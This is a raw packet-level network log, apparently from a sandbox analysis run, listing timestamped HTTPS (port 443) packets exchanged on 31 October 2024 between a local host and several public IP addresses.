Oct 31, 2024 21:54:50.779151917 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.779156923 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.779182911 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.780041933 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.780081987 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.780097008 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.780102015 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.780114889 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.780126095 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.780164003 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.780168056 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.780208111 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.781023026 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.781055927 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.781079054 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.781084061 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.781111956 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.781127930 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.782427073 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.782485008 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.782495022 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.782516956 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.782535076 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.782561064 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.782646894 CET	49718	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.782664061 CET	443	49718	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.794532061 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:50.794600964 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:50.794682980 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:50.794861078 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:50.794884920 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:50.810535908 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.810570002 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.810739040 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.810812950 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:50.810822964 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:50.834954977 CET	49725	443	192.168.2.16	216.58.206.68
Oct 31, 2024 21:54:50.834990978 CET	443	49725	216.58.206.68	192.168.2.16
Oct 31, 2024 21:54:50.835082054 CET	49725	443	192.168.2.16	216.58.206.68
Oct 31, 2024 21:54:50.835269928 CET	49725	443	192.168.2.16	216.58.206.68
Oct 31, 2024 21:54:50.835282087 CET	443	49725	216.58.206.68	192.168.2.16
Oct 31, 2024 21:54:51.021928072 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.022217989 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.022244930 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.022526979 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.022842884 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.022900105 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.022981882 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.067334890 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.166719913 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.166760921 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.166826963 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.166846037 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.166856050 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.166903019 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.166920900 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.167232990 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.167278051 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.167283058 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.167512894 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.167560101 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.167563915 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.212145090 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.212162018 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.260077000 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.285492897 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.285602093 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.285628080 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.285679102 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.285705090 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.285815954 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.285826921 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.285922050 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.285985947 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.285990953 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.286600113 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.286657095 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.286662102 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.287022114 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.287089109 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.287092924 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.287134886 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.287180901 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.287185907 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.287414074 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.287458897 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.287463903 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.287952900 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.288006067 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.288011074 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.288178921 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.288227081 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.288232088 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.330638885 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.330732107 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.330766916 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.372489929 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.399043083 CET	49727	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:51.399159908 CET	443	49727	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:51.399261951 CET	49727	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:51.401164055 CET	49727	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:51.401196957 CET	443	49727	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:51.403986931 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.404119968 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.404145002 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.404170036 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.404197931 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.404236078 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.404340982 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.404422998 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.404467106 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.404875040 CET	49721	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.404886961 CET	443	49721	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.414966106 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:51.415013075 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:51.415098906 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:51.415292025 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:51.415318966 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:51.421442986 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.421519041 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.421600103 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.421788931 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:51.421822071 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:51.422261953 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.422486067 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.422507048 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.423424006 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.423482895 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.424321890 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.424379110 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.424469948 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.424479008 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.426194906 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.426386118 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.426460028 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.427360058 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.427439928 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.427699089 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.427757978 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.427777052 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.467123985 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.468003988 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.468030930 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.513133049 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.574111938 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.574181080 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.574233055 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.574269056 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.574270964 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.574312925 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.574352026 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.574366093 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.574397087 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.574412107 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.574424028 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.574469090 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.574994087 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.575045109 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.575093985 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.575104952 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.576458931 CET	443	49722	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:51.576741934 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.576759100 CET	49722	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:51.576802969 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.576822996 CET	443	49722	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:51.576853991 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.576881886 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.576910973 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.576951981 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.576958895 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.577162027 CET	443	49722	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:51.577424049 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.577451944 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.577470064 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.577477932 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.577516079 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.577572107 CET	49722	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:51.577636003 CET	443	49722	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:51.578061104 CET	49722	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:51.578458071 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.623343945 CET	443	49722	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:51.625118971 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.625132084 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.625149965 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.670149088 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.695405006 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.695621967 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.695628881 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.695725918 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.695765972 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.695825100 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.695854902 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.695880890 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.695880890 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.695897102 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.695918083 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.695946932 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.695986986 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.696371078 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.696425915 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.696439981 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.696588039 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.696764946 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.696789026 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.696831942 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.696839094 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.696866035 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.696875095 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.696943998 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.696954966 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.697065115 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.697118044 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.697129011 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.697556973 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.697599888 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.697622061 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.697643995 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.697649956 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.697681904 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.698321104 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.698429108 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.698517084 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.698581934 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.698596001 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.698690891 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.698741913 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.698754072 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.698997974 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.698997974 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.699008942 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.699028015 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.699052095 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.699074030 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.699076891 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.699084997 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.699101925 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.699126005 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.699515104 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.699554920 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.699616909 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.699676037 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.699682951 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.699702978 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.699717045 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.699729919 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.699779034 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.699805021 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.717000961 CET	443	49725	216.58.206.68	192.168.2.16
Oct 31, 2024 21:54:51.718791962 CET	49725	443	192.168.2.16	216.58.206.68
Oct 31, 2024 21:54:51.718849897 CET	443	49725	216.58.206.68	192.168.2.16
Oct 31, 2024 21:54:51.719836950 CET	443	49725	216.58.206.68	192.168.2.16
Oct 31, 2024 21:54:51.719939947 CET	49725	443	192.168.2.16	216.58.206.68
Oct 31, 2024 21:54:51.721057892 CET	49725	443	192.168.2.16	216.58.206.68
Oct 31, 2024 21:54:51.721132040 CET	443	49725	216.58.206.68	192.168.2.16
Oct 31, 2024 21:54:51.750113010 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.750133038 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.765202045 CET	49725	443	192.168.2.16	216.58.206.68
Oct 31, 2024 21:54:51.765224934 CET	443	49725	216.58.206.68	192.168.2.16
Oct 31, 2024 21:54:51.813123941 CET	49725	443	192.168.2.16	216.58.206.68
Oct 31, 2024 21:54:51.814428091 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.814490080 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.814513922 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.814564943 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.814588070 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.814641953 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.814735889 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.814857006 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.814882994 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.814918995 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.814925909 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.814960957 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.815172911 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.815287113 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.815798998 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.815866947 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.815876007 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.815921068 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.816113949 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.816169024 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.816174030 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.816210032 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.816735029 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.816960096 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.816988945 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.817051888 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.817115068 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.817290068 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.817347050 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.817353964 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.817358017 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.817363024 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.817389965 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.817408085 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.817910910 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.817929029 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.817965984 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.818474054 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.818507910 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.818535089 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.818562984 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.818564892 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.818593979 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.818600893 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.818610907 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.818618059 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.818645954 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.819477081 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.819518089 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.819529057 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.819539070 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.819550037 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.820425034 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.820461035 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.820487976 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.820497990 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.820544958 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.820580006 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.821424961 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.821453094 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.821479082 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.821487904 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.821490049 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.821494102 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.821506023 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.821526051 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.821549892 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.822027922 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.822065115 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.822097063 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.822129011 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.822154999 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.822181940 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.822992086 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.823024988 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.823055029 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.823069096 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.823087931 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.823136091 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.823736906 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.823798895 CET	49723	443	192.168.2.16	104.19.229.21
